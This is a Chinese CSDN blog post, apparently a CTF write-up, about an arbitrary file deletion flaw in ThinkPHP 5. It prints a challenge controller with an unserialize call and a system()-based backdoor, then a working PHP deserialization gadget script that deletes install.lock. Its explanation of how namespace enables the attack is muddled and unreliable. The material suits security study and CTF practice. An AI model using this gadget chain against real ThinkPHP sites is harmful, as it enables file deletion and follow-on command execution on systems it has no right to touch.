Thinkphp5存在任意文件删除漏洞

文章讲述了Thinkphp5.8之前的版本存在任意文件删除漏洞,通过利用`namespace`和反序列化功能绕过安全限制,文中举例了CTF挑战中的场景,并提供了利用漏洞删除`install.lock`文件的方法。强调了代码审计和安全防范的重要性。
摘要由CSDN通过智能技术生成

1.Thinkphp版本

Thinkphp5.8之前

2.Thinkphp任意文件删除漏洞

这个漏洞可以通过反序列化将环境中存在的文件删除

利用到php函数

namespace
/在PHP中,namespace是一个关键字,用于定义命名空间。命名空间是一种将相关的类、函数和常量分组在一起的方式,以避免命名冲突并提供更好的代码组织。

利用这个函数将文件删除,去绕过自己想绕过的文件

3.Thinkphp任意文件删除漏洞的利用

例如下题是ctfshow中月亮杯||的一道题

<?php
namespace app\index\controller;
class Index
{   
    public function index($run=[])
    {
        highlight_file(__FILE__);
        echo '<h1>Welcome to CTFSHOW</h1></br>';
        echo 'Powered by PHPthink5.0.2</br>';
        echo dirname(__FILE__);

    if (!empty($run[2])){
            echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
        }
    if (!empty($run[1])){
            unserialize($run[1]);
        }
    }
    // hint:/index/index/backdoor
    public function backdoor(){
        if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
        echo "Try to post CMD arguments".'<br/>';
            $data = input('post.');
            if (!preg_match('/flag/i',$data['cmd'])){
                $cmd = escapeshellarg($data['cmd']);
        $cmd='cat '.$cmd;
        echo $cmd;
                system($cmd);
            }else{
                echo "No No No";
            }

        }else{
        echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
    }
    }
}

第一步先代码审计一波

这里在backdoor中有一个名为install.lock的文件,我们需要去绕过它,而进行我们下一步的操作

在上一个函数中我们看到了反序列化这个函数,并且我们可以查看框架版本5.0.2,可以利用这个漏洞,下一步就是写一个反序列化的脚本,去删除这个文件

<?php
namespace think\process\pipes;
use think\Process;
class Pipes{}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = ["/var/www/html/application/index/controller/../../install.lock"];
    }
}
echo urlencode(serialize(New Windows()))."\n";
?>

通过这个反序列化然后传入参数就可以去删除这个文件,从而达到我们的目的

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值